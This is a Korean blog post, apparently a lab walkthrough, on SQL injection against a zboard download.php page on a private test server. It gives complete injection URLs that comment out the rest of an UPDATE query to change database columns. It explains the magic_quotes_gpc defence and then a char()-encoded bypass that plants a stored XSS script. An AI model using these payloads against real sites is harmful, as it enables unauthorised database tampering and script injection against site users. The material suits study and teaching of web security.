SQL injection 개념실습

2017. 9. 4. 19:39WebHacking/Web




이전 게시글에서 연습했던 게시글 페이지와 다운로드조회수를 올려주는 페이지를 이용해서 실습을 진행하겠습니다


[ 실습방식 ]

 게시글 페이지에서 GET방식 " http://192.168.6.123/zboard/download?변수=값& ... " 으로 download.php 페이지로 전송한다

download.php 에서는 받아온 변수들을 이용해서 쿼리문을 실행하는 코드가 작성되어있다 ( 이전 게시글 참조 ) 

우리는 GET방식으로 넘겨지는 변수의 입력값을 조작하여 비정상적인 쿼리문을 실행시킬 것이다 ( DB내용 수정 등등 가능하다 )



[1] 주석을 활용한 SQL injectioin

1> 기존의 GET요청

http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1

Query: update zetyx_board_board set download1=download1+1 where no='15'으로 실행

GET방식을 활용하여 download.php로 변수들을 넘겨주고  download.php에서 쿼리문이 실행되어 DB가 변경된다

filenum = 1


2> 변수 조작

http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1=100

Query : update zetyx_board_board set download1=100=download1=100+1 where no='15'으로 실행

filenum=1=100    => filenum="1=100"

download1=100=download1=100+1

=> 100=download1 에서 오류 발생


sql주석 : # , -- , /* */

url에서 입력불가능한 값 : ?, &, #

=> url encoding : 문자에 대한 헥사값 을 이용한다 => %아스키코드값

# : %23


3> 주석 활용

http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1=100 %23

Query : update zetyx_board_board set download1=100 #=download1=100 #+1 where no='15'

filenum=1=100 %23 => filenum="1=100 #"

=> 쿼리문에서 # 이후의 문장은 주석처리된다


=> Query : update zetyx_board_board set download1=100으로 정상실행된다


#tail -f /var/lb/mysql/query.log 을 통한 쿼리로그 확인

[ 쿼리 로그 ]


정상적으로 쿼리가 작동되었고, 웹 페이지에서도 다운로드 횟수가 변경되어있음을 확인할 수 있다

[ 쿼리 실행 결과 ]


* DB에 저장되어 있는 컬럼명을 알고 있다면 그 컬럼의 값도 변경시킬 수 있습니다


4> 다중 변수 조작

http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1=102 ,memo='Hello injection' %23 

Query : update zetyx_board_board set download1=102 ,memo='Hello injection' #=download1=102 ,memo='Hello injection' #+1 where no='15'

filenum="1=102 ,memo='Hello Injection' %23" => filenum="1=102 ,memo='Hello Injection' #"

=> 쿼리문의 # 이후의 문장은 주석처리된다


=> Query : update zetyx_board_board set download1=102 ,memo='Hello injection'으로 정상실행한다


#tail -f /var/lb/mysql/query.log 을 통한 쿼리로그 확인

[ 쿼리 로그 ]


정상적으로 쿼리가 작동되었고, 웹 페이지에서도 본문내용(memo)가 변경되어있음을 확인할 수 있다



5> String SQL injection 방어법

단순 설정을 통해서 본문을 변경하는 문자열 인젝션공격처럼 ' , " 을 사용하는 인젝션 공격을 방어할 수 있다


/etc/php.ini php설정파일에서 magic_quotes_gpc 설정을 변경합니다

[ /etc/php.ini ]


[ 쿼리 실행 로그 ]


http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1=102 ,memo='Hello injectionzzz' %23

Query : update zetyx_board_board set download1=102 ,memo=\'Hello injection\' #=download1=102 ,memo='Hello injection' #+1 where no='15'


=> Query : update zetyx_board_board set download1=102 ,memo=\'Hello injection\' 로 작동하게 된다

설정을 변경함으로써 작은 따옴표가 \' 가 되었습니다

=> ' xxx ' 작은 따옴표로 동작하지 않고 문자열 자체로 변한다

=> memo : txt타입 이여서 반드시 " 또는 ' 을 사용해야 함으로 쿼리는 정상적으로 실행되지 않습니다

=> 'Hello injection' 이라는 컬럼으로 인식한다 => DB에 그런 컬럼이 없기때문에 오류임

하지만 이 방식은 모든 컬럼마다 이 설정을 검사해야해서 속도가 느려져 php3.4버전까지만 실행되었습니다

우회방법도 있습니다


6> 우회방법 

mysql내장함수 " char () " 를 이용한다 

아스키 코드를 이용해서 해당 아스키 코드에 해당하는 문자열을 반환한다


[ char() 사용 예제 ] 



[ 실제 우회하기 ]


[ 쿼리 실행 로그 ]


http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1=106 ,memo=char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,39,120,115,115,39,41,59,60,47,115,99,114,105,112,116,62)%23 

Query: update zetyx_board_board set download1=106 ,memo=char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,39,120,115,115,39,41,59,60,47,115,99,114,105,112,116,62)#=download1=106 ,memo=char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,39,120,115,115,39,41,59,60,47,115,99,114,105,112,116,62)#+1 where no='15'


=> Query: update zetyx_board_board set download1=106 ,memo=<script>alert('xss');</script>로 실행된다



[ 실행결과 ]